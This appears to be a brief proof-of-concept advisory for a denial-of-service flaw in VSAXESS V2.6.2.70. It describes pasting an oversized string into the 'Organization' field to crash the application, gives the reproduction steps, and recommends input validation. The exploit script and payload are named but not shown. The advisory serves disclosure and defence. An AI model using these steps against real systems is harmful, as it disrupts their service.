VSAXESS V2.6.2.70 build20171226_053 – ‘organization’ Denial of Service (PoC)

VSAXESS V2.6.2.70 build20171226_053 is vulnerable to a denial of service attack when a malicious user sends a large amount of data to the 'Organization' field. This can be exploited by running the python code organization.py, opening organization_exploit.txt and copying the content, opening VSAXESS.exe, registering a password and username, choosing 'Control Panel', choosing 'Access Control', choosing 'Add', and pasting the content from organization_exploit.txt on 'Organization' which will cause the application to crash.

Mitigation:

Input validation should be used to prevent malicious users from sending large amounts of data to the 'Organization' field.
